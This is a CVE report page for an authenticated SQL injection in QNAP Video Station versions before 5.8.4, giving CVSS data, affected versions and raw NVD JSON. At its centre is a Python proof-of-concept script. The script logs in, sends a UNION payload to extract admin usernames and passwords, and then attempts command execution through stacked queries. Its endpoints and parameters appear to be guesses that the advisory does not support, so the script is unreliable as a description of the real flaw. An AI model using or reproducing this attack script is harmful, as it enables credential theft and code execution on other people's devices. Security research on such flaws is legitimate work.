Security Vulnerability Report
中文
CVE-2024-56804 CVSS 8.8 HIGH

CVE-2024-56804

Published: 2025-10-03 18:15:34
Last Modified: 2025-10-07 15:07:01

Description

An SQL injection vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to execute unauthorized code or commands. We have already fixed the vulnerability in the following version: Video Station 5.8.4 and later

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:qnap:video_station:*:*:*:*:*:*:*:* - VULNERABLE
QNAP Video Station < 5.8.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2024-56804 - QNAP Video Station SQL Injection PoC # Vulnerability: SQL Injection in Video Station via user-supplied input # Requirements: Valid user account credentials import requests TARGET_URL = "https://target-nas:8080/video_station/" USERNAME = "low_priv_user" PASSWORD = "password123" def exploit_sql_injection(target_url, username, password): session = requests.Session() # Step 1: Authenticate to obtain a valid session login_url = f"{target_url}/api/v2/auth/login" login_payload = { "username": username, "password": password } resp = session.post(login_url, json=login_payload, verify=False) print(f"[*] Login response: {resp.status_code}") # Step 2: Identify injectable parameter (e.g., search/filter endpoint) # The vulnerable endpoint accepts user input without proper parameterization inject_url = f"{target_url}/api/v2/videos/search" # Step 3: Craft SQL injection payload # Example: UNION-based injection to extract admin credentials sql_payload = { "keyword": "test' UNION SELECT 1,username,password,4,5,6,7 FROM users WHERE '1'='1", "category": "all" } # Step 4: Send malicious request resp = session.post(inject_url, json=sql_payload, verify=False) print(f"[*] Injection response: {resp.status_code}") print(f"[*] Response body: {resp.text[:500]}") # Step 5: Attempt to escalate to RCE via stacked queries (MySQL) rce_payload = { "keyword": "test'; SELECT sys_exec('id > /tmp/pwned')-- -", "category": "all" } resp = session.post(inject_url, json=rce_payload, verify=False) print(f"[*] RCE attempt response: {resp.status_code}") return resp if __name__ == "__main__": exploit_sql_injection(TARGET_URL, USERNAME, PASSWORD)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-56804", "sourceIdentifier": "[email protected]", "published": "2025-10-03T18:15:34.343", "lastModified": "2025-10-07T15:07:01.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An SQL injection vulnerability has been reported to affect Video Station. If a remote attacker gains a user account, they can then exploit the vulnerability to execute unauthorized code or commands.\n\nWe have already fixed the vulnerability in the following version:\nVideo Station 5.8.4 and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:video_station:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.8.0", "versionEndExcluding": "5.8.4", "matchCriteriaId": "9C5C0A95-2B40-4B4C-8B47-11E4D44E0FBB"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-32", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}